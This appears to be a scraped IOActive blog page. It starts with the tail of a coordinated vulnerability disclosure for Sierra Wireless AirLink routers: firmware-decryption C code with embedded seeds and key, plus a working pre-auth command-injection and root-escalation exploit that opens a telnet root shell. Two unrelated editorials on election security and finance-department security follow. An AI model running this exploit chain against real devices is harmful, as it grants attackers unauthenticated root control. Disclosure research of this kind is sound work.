***=> Key: "\x7D\x69\x78\x59\x55\x35\xF9\xAA\x4F\x8E\xBE\xE4\xE8\xD2\xEE\xFA\x86\x35\xD1\x6A\x58\x81\x53\x78\x6D\xFF\x2E\xB5\xBC\x88\x21\x11"

[+] Decrypting firmware to decrypted.bin...
[+] Done

*/


#include <tomcrypt.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int errno;

typedef struct _product_key{
  unsigned char seed[8];
  char *name;
} product_key;


// SEED TABLE  (ALEOS VERSION 4.13.0.017)
// Extracted from the 'swinstaller' binary (different from product/version)

product_key seed_table[]={  
                            {"\x60\x22\xD5\xCD\x3C\x09\xCD\xAB","ES450"},
                            {"\x5D\x5C\xAA\x26\x2D\x0B\xDE\x5A","RV50"},
                            {"\xFB\x76\x0D\xCE\xC1\x2C\xC8\x16","LX60"},
                            {"\xCB\x4E\x4A\x5F\x07\x89\x0B\xDE","RV55"},
                            {"\x1C\xDF\x8D\x14\xB3\x61\xCF\x12","MP70"},
                            {"\x60\x22\xD5\xCD\x3C\x09\xCD\xAB","GX450"},
                            {0}
                          };


int generate_materials(unsigned char *inBuff, int len, void *dest, size_t *a4, int a5);
int init_keys(char *keyString, int len, int product, unsigned char **key, unsigned char **IV);


int init_keys(char *keyString, int len, int product, unsigned char **key, unsigned char **IV)
{

  unsigned char *keyBuff;
  unsigned char keyHash[64]={0};
  unsigned char ivHash[64]={0};
  

  size_t  retLen;
  size_t  keylen,totalen;
  int     result;


 
  printf("\n- Initializing materials...\n");


  *key = (unsigned char *)calloc(0x40,1);
  *IV = (unsigned char *)calloc(0x40,1);

  keylen = len;

  totalen = keylen + 40;

  keyBuff = (unsigned char*)calloc(totalen, 1);
  
  retLen = 32;

 
  // Copy key string "\x00"*32+key
  memcpy(keyBuff + 32, keyString, keylen);
  
  // Copy remaining materials "\x00"*32+key+seed
  memcpy(keyBuff + 32 + keylen, seed_table[product].seed, 8);

  printf("Hashing at keyBuff+32 for %lu bytes...\n",totalen - 32);
  result = generate_materials(  (keyBuff + 32),
                                totalen - 32,
                                keyHash,
                                (size_t*)&retLen,
                                5);

  

  printf("Copying 32 bytes from the hashed material to keyBuff\n");
  memcpy(keyBuff,keyHash, 0x20);

  retLen = 32;
 
  printf("\nNow hashing the entire keyBuff [%lu bytes]...\n",totalen);
  generate_materials(   keyBuff,
                        totalen,
                        ivHash,
                        (size_t*)&retLen,
                        5);


  
  memcpy(*IV,ivHash,0x20);
  memcpy(*key,keyHash,0x20);

  printf("***=> IV:  \"");
  for(int i=0; i<32;i++){
    printf("\\x%02X",ivHash[i]);
  }
  printf("\"\n");

  printf("***=> Key: \"");
  for(int i=0; i<32;i++){
    printf("\\x%02X",keyHash[i]);
  }
  printf("\"\n");
 return 1;

}


int generate_materials(unsigned char *inBuff, int len, void *dest, size_t *a4, int a5)
{
  int v5; 
  size_t *v7; 
  int v9; 
  int v10; 
  size_t n; 
  unsigned char *outBuff; 
  int v13; 
  int i; 
  int v15; 


  v9 = len;
  v7 = a4;

  outBuff = (unsigned char*)calloc(0x100,1);
  v13 = find_hash("sha256");
  n = 128;
  v15 = hash_memory(v13, inBuff, v9, outBuff, &n);
  if ( *v7 > n ){
    printf("Error hashing memory\n");
    exit(0);
  }
  memcpy(dest, outBuff, n);
  *v7 = n;
  for ( i = 1; i < a5 && !v15; ++i )
  {
    printf("round %d\n",i);
    v15 = hash_memory(v13, dest, *v7, outBuff, &n);
    memcpy(dest, outBuff, n);
    *v7 = n;
  }
  printf("\n");
  if ( v15 )
    v5 = -1;
  else
    v5 = 0;
  return v5;
}


int usage(char *name) 
{
   int x;

   printf("\nUsage: %s -d version cipher('aes') infile outfile chunk_size product(ID)\nSupported products:\n", name);
   for(x=0; seed_table[x].name != NULL; x++) {
      printf("ID: [%d] Description: %s\n",x, seed_table[x].name);
   }
   printf("\n$ ./decrypt -d 4.12.0.p31 aes /file/path/RV50/rootfs.sqfs.uboot /file/path/RV50/rootfs.sqfs.uboot.decrypted 4096 1\n");
   exit(1);
}

void register_algs(void)
{   
  if (register_cipher (&aes_desc)){
      printf("Error registering AES\n");
      exit(-1);
   } 

  if (register_hash(&sha256_desc) == -1) {
      printf("Error registering SHA256\n");
      exit(-1);
   } 
}

int main(int argc, char *argv[]) 
{
   unsigned char *plaintext,*ciphertext;
   unsigned char *inbuf; 
   size_t n, decrypt;
   symmetric_CTR ctr;
   int cipher_idx, hash_idx;
   char *infile, *outfile, *cipher;
   FILE *fdin, *fdout;
   size_t amount;
   unsigned char *cKey;
   unsigned char *cIV;

   if (argc < 7) {
      return usage(argv[0]);
   }

  register_algs();

  inbuf = (unsigned char*)calloc(8192,1);
  cipher  = argv[3];
  infile  = argv[4];
  outfile = argv[5];
  amount = atoi(argv[6]);
   
   if (!strcmp(argv[1], "-d")) {
      plaintext = (unsigned char*)calloc(8192,1);
      decrypt = 1;     
   } else {
      printf("\n[!] decryption only");
      exit(0);
   }
 
   printf("\n* Sierra Wireless' Airlink Firmware Decrypter (Ruben Santamarta @ IOActive) * \n");

   init_keys( argv[2], strlen(argv[2]), atoi(argv[7]), &cKey, &cIV );
   
    
   fdin = fopen(infile,"rb");
   if (fdin == NULL) {
      perror("Can't open input for reading");
      exit(-1);
   }

   fdout = fopen(outfile,"wb");
   if (fdout == NULL) { 
      perror("Can't open output for writing");
      exit(-1);
   }
 
   cipher_idx = find_cipher(cipher);
   if (cipher_idx == -1) {
      printf("Invalid cipher entered on command line.\n");
      exit(-1);
   }

   
   if (decrypt) {
      
      
      if ((errno = ctr_start(cipher_idx,
                              cIV,
                              cKey,
                              32,
                              0,
                              CTR_COUNTER_LITTLE_ENDIAN,&ctr)) != CRYPT_OK) {
         printf("ctr_start error: %s\n",error_to_string(errno));
         exit(-1);
      }

     
      printf("\n[+] Decrypting firmware to %s...",outfile);

      do {

         n = fread(inbuf,1,amount,fdin);
          
         if ((errno = ctr_decrypt(inbuf,plaintext,n,&ctr)) != CRYPT_OK) {
            printf("ctr_decrypt error: %s\n", error_to_string(errno));
            exit(-1);
         }

         if (fwrite(plaintext,1,n,fdout) != n) {
            printf("Error writing to file.\n");
            exit(-1);
         }
        
      } while (n == amount);

      printf("\n[+] Done\n");
     
   } 

   fclose(fdin);
   fclose(fdout);
   return 0;
}

At this point, it is possible to decrypt all of the files, including the filesystem image, so we can start hunting. 

Remote Command Injection – Preauth –

Initial analysis showed that the main web interface looks solid enough after all those killed bugs. I decided to take a look at one of the main features of these AirLink devices: the ALEOS Application Framework (AAF). 

It is worth mentioning that this set of features is not enabled by default, so the administrator needs to enable AAF through the web interface. Once it has been activated, this framework will extend the regular capabilities of these devices, allowing external developers to create their own embedded applications. From the device perspective this has mainly been implemented using LUA, so I decided to take a look at the code (‘/usr/readyagent/lua’ folder). There was something that immediately got my attention: when AAF is enabled, a custom LUA RPC scheduler is exposed at LAN_IP:1999/TCP.

File: ‘/usr/readyagent/lua/rpc/sched.lua

Following the code, we find that this RPC server deserializes arbitrary function names and arguments, which may be attacker controllable.

File: ‘/usr/readyagent/lua/rpc/sched.lua’

The first request (line 55) receives ‘t’,‘seqnum’ and the number of bytes of serialized data to be received from the client. Then, at line 162, our data will be deserialized using ‘luatobin’ format. 

File: ‘/usr/readyagent/lua/rpc/proxy.lua’

 These values will be handled by ‘common.execute,’ which allows any function to be executed.

File: ‘/usr/readyagent/lua/rpc/common.lua’

A malicious actor can leverage this vulnerability to invoke arbitrary LUA functions, such as ‘os.execute’. As a result, an attacker on a network adjacent to an AirLink device (with AAF enabled), will gain the ability to execute arbitrary commands under the privilege of the ‘rauser’ account.

Local Privilege Escalation to Root

At this point I could execute arbitrary commands without requiring any authentication, but ‘rauser’ is still a low-privileged account. The next step was to find a way to escalate privileges to root. 

The main web interface is not running as root, but still we can update the firmware, reboot the device, etc., so there should be some logic that allows these ‘root’ operations to be requested from a different privilege level. By reverse engineering the different binaries involved, I eventually found the IPC mechanism: a message queue called ‘/urmG’ 

File: ‘/lib/libSWIALEOS41.so.1.0

Any process can access this message queue:

-rw-rw-rw-    1 root     0               80 Sep  9 00:34 urmG

Basically, the root process ‘/usr/sbin/UpdateRebootMgr’ reads a message from this queue that contains the action that has to be performed on the requester’s behalf.  Depending on the action, ‘UpdateRebootMgr’ will run the binary in charge of that action, while also passing the command line received from the low-privileged process through the message queue. 

For instance, ‘RequestUpdate’ is a binary that sends messages to the ‘UpdateRebootMgr’ root process through the ‘/urmG’ message queue. When ‘UpdateRebootMgr’ processes a certain message, it will invoke ‘FW_UPLOAD_CMD’ using the command line passed in the ‘-o’ argument.

File: ‘/usr/sbin/atfw_rm_update

…
RequestUpdate -c aleos -o "--aleos $LOCAL_FW" –w
…

Pay attention to this sequence:

1. File: ‘/usr/sbin/UpdateRebootMgr
2. File: ‘/usr/sbin/libSWIALEOS41.so.1
3. File: ‘/usr/sbin/UpdateRebootMgr


This looks promising. Let’s see what is inside ‘ALEOS:swsystemtools::runSystem.

File: ‘/lib/libswsystemtools.so

ALEOS::swsystemtools::isSafeString’ looks like the kind of function that should prevent this injection from happening; however, it fails because when the first character is a ‘-‘ it is possible to bypass the ‘find_first_of’ check, which would detect some command injection characters.

As a result, it is possible to perform a classic command injection through the ‘/urmG’ message queue to escalate privileges to root. 

We can use the ‘RequestUpdate’ binary as a PoC:

$ RequestUpdate -c aleos -o “–aleos /tmp/whatever | /bin/busybox telnetd -l/bin/sh -p31337”

An exploit would be as follows:

File: ‘exploit.py’

#!/usr/bin/env python

import socket


TCP_IP = '192.168.13.31'
TCP_PORT = 1999
BUFFER_SIZE = 1024
MESSAGE1 = "\x00\x01\x00\x00\x00\x7C"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(MESSAGE1)
s.send("\x04\x00\x0A"+"os.execute"+"\x04\x00\x60"+"/tmp/RequestUpdate -c aleos -o \"--aleos /tmp/pun|/bin/busybox telnetd -l/bin/sh -p31337\""+"\x00"*26)

data = s.recv(BUFFER_SIZE)
s.close()

print "received data:", repr(data)

Impact

This chain of exploits can be used from an adjacent network to get root access without requiring any authentication on any AirLink device that has AAF enabled. This is not the default option, so the attack is mitigated in that sense.

There are some security boundaries these vulnerabilities break in a Sierra Wireless AirLink device:

  1. According to the documentation, the ‘root’ user is proprietary to Sierra Wireless.
  2. The main firmware file is signed and  certain key files in the package are encrypted. This attack allows malicious firmware to be installed on the device, thus gaining persistence.
  3. There is an interesting feature, although it is unlikely to be exploited. AirLink customers can temporarily enable a remote support option. This adds a hardcoded root hash to ‘/etc/shadow’ and seems to be identical across devices. A rooted AirLink device might be used to trick Sierra Wireless support staff into remotely connecting to the device to capture the password.

Conclusion

IOActive notified Sierra Wireless about these vulnerabilities in January 2020, which resulted in the following advisories:

—–

Sierra Wireless thanks IOActive for the responsible disclosure of these vulnerabilities.

In current versions of ALEOS, the RPC server is enabled only when the AAF user password is defined.

Sierra Wireless recommends that customers enable the AAF user only for devices that are being used for AAF development and debugging. The AAF user is not required for AAF applications to be deployed and run.

Deployed devices must not have the AAF user password enabled.

Sierra Wireless recommends upgrading to the latest ALEOS version for your gateway. For devices running ALEOS 4.13 today, Sierra Wireless recommends upgrading to ALEOS 4.14.0 once it is available.

For more information see our advisory at https://source.sierrawireless.com/resources/security-bulletins/sierra-wireless-technical-bulletin—swi-psa-2020-005

—-

We greatly appreciate the collaborative communication with Sierra Wireless during this process.

EDITORIAL |

Cybersecurity Vigilance for a Historic Election

November 3rd is Election Day in the United States. Every election is important, but this election is particularly crucial. It is one of the most important elections in our lifetime—the 2020 election will determine the course of the United States for the next 10 years or more. With so much on the line, every vote counts—but the security and integrity of, and voter confidence in, the election itself are also at risk.

The Senate Intelligence Committee determined that Russia influenced and interfered with the 2016 election, and US intelligence agencies report that Russia and other nations are spreading misinformation and actively trying to hack the 2020 election as well. The COVID-19 pandemic combined with social and political unrest across the country provides cyber adversaries with a larger attack surface for manipulation and exploitation. Heightened cybersecurity awareness and effective cybersecurity are more crucial than ever to ensure our votes are counted.

Heightened cybersecurity awareness and effective cybersecurity are more crucial than ever to ensure our votes are counted.

As the clock winds down to Election Day — and early voting and mail-in voting begin across the country — we need to consider whether we can trust the technology and processes we rely on for voting. Is the supply chain intact? Can we ensure the integrity of voter registration databases? Are media outlets and social media having an adverse influence on the election? Most importantly, can voters trust the process and have confidence that their votes will be properly counted? Clearly, we need around-the-clock vigilance between now and November 3rd to secure our vote.

Covert and Overt Actions that can Influence the Vote

Political campaigns are all about influence and swaying opinion—but those activities should be limited to the candidates and American interests. Foreign nations should not manipulate or interfere with our democratic election process, yet they do. There are foreign influences that are plainly visible, and then there are clandestine methods that are not visible. Spies who operate without being detected may impact the election. They can also steal intellectual property, manipulate technology, and recruit potential agents and mules to deliver exploits and payloads.

Social media is a double-edged sword when it comes to information. It can be a great way to do research, engage in rational discussion, and learn about the candidates and current issues. The problem is that it is also an extremely efficient way to spread misinformation, and many people can’t tell the difference. Deepfake videos and fake propaganda released on social media platforms are part of disinformation campaigns and political agitation that drive a wedge between people and prevent productive dialogue.

The COVID-19 pandemic is driving a spike in demand for mail-in ballots so people can avoid gathering at polling sites and exposing themselves to potential risk from the virus. However, the United States Postal Service is struggling, and there have been a number of cuts and changes that seem specifically intended to make it more difficult to vote by mail. Once ballots get to a post office, both the mail-in ballots and post office sorting machines are ripe for insider threats, human manipulation, and fraud if not managed and monitored appropriately.

Protect the Vote by Managing Cybersecurity and Supply Chain Risk

What can we do to defend the election process and our votes against all of these threats? The challenges of election security span the breadth and depth of the attack surface. Every county in the United States is a potential target and the scope of attacks can range from cyber attacks against voter registration and voting systems to theft of information and everything in between.

Okay, but how difficult is the challenge of election security? Let’s consider it; there are thousands of networks and applications to protect. Every network has thousands of devices, including PCs, laptops, printers, servers, smartphones, tablets, IoT devices, etc. Each of these devices runs several layers of software, and each of these software applications has thousands to millions of lines of code. Software code is complex and, as with any product made by humans, often has errors which includes security problems. In several million lines of code contained in thousands of layers of software, there are thousands of possible cybersecurity problems that need to be identified and fixed. Because of these cybersecurity problems, networks should be protected to prevent exploitation by bad actors.

Because we live in a global economy, technology is built with different small parts made in different parts of the world by people working at different companies. Securing the supply chain is also an important challenge, as backdoors and security problems can be planted in technology and exploited later by state actors.

On top of these cybersecurity problems, we have the human element. Individuals need to be properly trained in secure technology use and how not to be fooled by phishing or other targeted cyber attacks.

The best way to secure our votes and protect the integrity of the election is to engage the security community early and often to get a hacker’s point of view and the best skills working together.

Engage the security community early and often to get a hacker’s point of view and the best skills working together.

We need to properly train all personnel in cybersecurity to make them resilient against cyber attacks. We should make sure technology comes from trusted parties that perform due diligence and security audits on their providers in order to properly secure the supply chain. We also need to audit hardware and software to identify potential cybersecurity problems in order to fix them and/or take preventive actions to avoid their exploitation. Also, we need to conduct continuous or frequent vulnerability scans and penetration tests to gain valuable insight into the overall security posture of the election process and identify weaknesses so they can be addressed proactively.

As the attack surface constantly expands and the threat landscape continually shifts and evolves, ongoing testing and validation of applications and security controls should be a requirement.

The 2020 election is crucial for the future of the United States. It will require around-the-clock vigilance between now and November 3rd to guard against attacks on the election and secure our vote.

Matt Rahman is COO at IOActive, the world leader in research-fueled security services.

EDITORIAL | September 15, 2020

Security Makes Cents: Perspectives on Security from a Finance Leader

Recently, it feels like the Internet is filled with stories of cyber-breaches and security breakdowns. As the world is more interconnected than ever, these stories are becoming all too familiar. In fact, there is a malicious web-based hacking event every 39 seconds, and 43% of them target small businesses.

While a breach can occur in any area of a business, a corporate finance department is often uniquely positioned, with touch-points extending further outside the company than other groups. With touch-points up and down the supply chain, the number of potential attack vectors increases, and with cross-functional access, the impact of successful attacks grows exponentially.

Fortunately, there are several small steps any department can take to beef up its policies and awareness to help prevent it from becoming the subject of the next news article. Many organizations overlook the value of programmatic, policy, and procedural controls to manage cybersecurity risks as they purchase the latest, expensive cybersecurity widget. Forward-looking organizations make cybersecurity an integral part of their overall operational resiliency with CISA’s CRR or SEI’s CERT-RMM.

Here are some specific examples where small changes can improve a finance department’s security posture.

Create a Disbursement Process Policy – and Stick to It!

Most of us know that good internal controls are the backbone of preventing fraud within an organization. But what if those controls are circumvented at an appropriate level with the relevant authority? As the pace of business increases, so does the urgency to transact that business and the necessity of off-cycle disbursements. Threat actors know this and take advantage of it. The most popular attack is spear-phishing, often referred to as Business Email Compromise (BEC), where an email is sent by an attacker to a specific person, usually someone with enough authority to transfer money without additional oversight. In many cases, these emails will appear to come from someone high up in a company: an owner, board member, C-Suite, or VP.

It should be the policy of every finance department to individually verify all off-cycle disbursements with a separate email or message to ensure that the request is valid. But usually awareness of simple clues will tell you that the request isn’t valid. For example:

  • The sender’s email address doesn’t match the person’s actual email address.
  • There are abnormal links within the email message.
  • The language doesn’t match the person.

Remember, human intelligence and critical thinking are the best defense against spear-phishing attacks. Making sure you have a good relationship with those that can authorize payments will greatly reduce the likelihood of a successful attack.

Manage Your External Credentials

Depending on the size of your department, you may be more or less able to effectively segregate duties. In most small and medium-sized businesses, the finance department wears multiple hats: accounting, FP&A, tax, treasury, etc. In these cases, there exists an increased need for cross-training. With cross-training and role backups comes the need for passwords to be shared among multiple people.

Your passwords are not always an entry point for your systems,
but weak passwords can jeopardize the information and accounts

That in itself brings inherent dangers. How do you securely share passwords? How do passwords get updated? Many may default to using an Excel spreadsheet or Google doc to keep a list of websites and passwords. While these may be efficient, they are not secure. So what should you do?

  • Implement a password management service, such as SecretServer or LastPass. While there is an associated cost, these services allow groups to share passwords in an encrypted and secure environment often with an audit trail.
  • Use secure password generators. These services can help you input the password requirements of a website and create the strongest password possible.
  • Follow good password hygiene by updating passwords regularly, using random characters, and making them as long as possible. See NIST SP 800-63B Appendix A for additional details.
  • Make use of Multi-Factor Authentication (MFA), when possible.
  • Don’t reuse passwords. It’s just as convenient for an attacker as it is for your team.

Your passwords are not always an entry point for your systems, but weak passwords can jeopardize the information and accounts stored on third-party systems, like tax agencies or customer portals.

Social Engineering is Real

It is becoming more and more common for threat actors to gain access through means other than technical infiltration. A common way is to get an employee to voluntarily give up information through a pretext. I have personally received phone calls supposedly from our bank asking me to verify my password to them. Remember, banks or other agencies will never ask for sensitive information over the phone. If you ever have doubts as to the authenticity of a request, you can always hang up and call back using verified and published phone numbers. If the request is illegitimate, the caller will do all they can to keep you on the line.

Over 95% of attacks that succeed do so because of human error. It is human nature to want to satisfy the request on the other end of the line, but don’t be afraid to make sure you’re protected.

The Cloud is Safe, Right?

Anyone else remember the days of on-prem hosted accounting software that was clunky and had to be updated every year? Those days are long gone thanks to the proliferation of cloud-based, whole-hosted ERP solutions. And it doesn’t stop there: financial analytics suites, CRMs, and document sharing all have industry leaders that are cloud-only.

Have you asked yourself how safe that data is? Sure, you’ve got high-level password requirements in your environment, but what about your service provider? It’s safe, right?

Is it? Ask yourself how you know. What risks lurk undiscovered in your supply chain?

Technology companies are one of the top three industries to experience an information breach, mainly because they carry a vast amount of very distinct and personally-identifying data. Client names, addresses, and emails are all stored in the cloud and could be prime targets for a cybercriminal. One needs to look no further than the Cloud Hopper campaign to see the risk of using Managed Service Providers (MSPs).

When you are assessing new software, ask for third-party security reports. Almost all storage-based companies can provide you with SOC 2 reports that discuss their practices and policies surrounding IT and IS environments. Have someone who knows how to interpret the contents read those reports and comments so you can make an informed risk assessment.

If you want to feel extra secure, consider having an assessment performed.

If you want to feel extra secure, consider having an assessment performed. At IOActive, we perform security assessments of the key products and providers we utilize in our operations as part of our internal Supply Chain Integrity program. Not every organization has the skills or resources to perform such assessments, but several great third-party assessor organizations exist to help. If specific vulnerabilities are identified, most providers are happy to know about them and, depending on the severity, will work to remediate those vulnerabilities quickly before you deploy the new service.

Protect What You’ve Built

One of the most popular new products in insurance is a cyber insurance policy. Once upon a time, these policies were designed to help the few companies operating within the cyber landscape. But now, everyone operates in that arena. The insurance industry has responded and offers tailor-made solutions to protect companies from multiple angles in case of a breach, including investigation, forensics, and damages. This is a must-have policy in the new connected world of the 21st century and a core part of firm-level risk management.

This is not a big business policy, either. Remember that 43% of attacks target small businesses. Legal damages resulting from a breach at a small business pose an existential threat to that organization. Talk to your agent about adding a cyber incident policy to help mitigate some of the risks associated with a breach.

The world is changing rapidly and our workspaces are changing just as fast. As remote work becomes the new normal for many companies, our digital footprints are expanding and cybersecurity is the responsibility of everyone in the company, not just the IT or IS departments. Do your part and think about how you could be impacted or used to impact others.

Joshua Beauregard is a Certified Public Accountant and the Senior Director of Finance and Administration at IOActive, the world leader in research-fueled security services.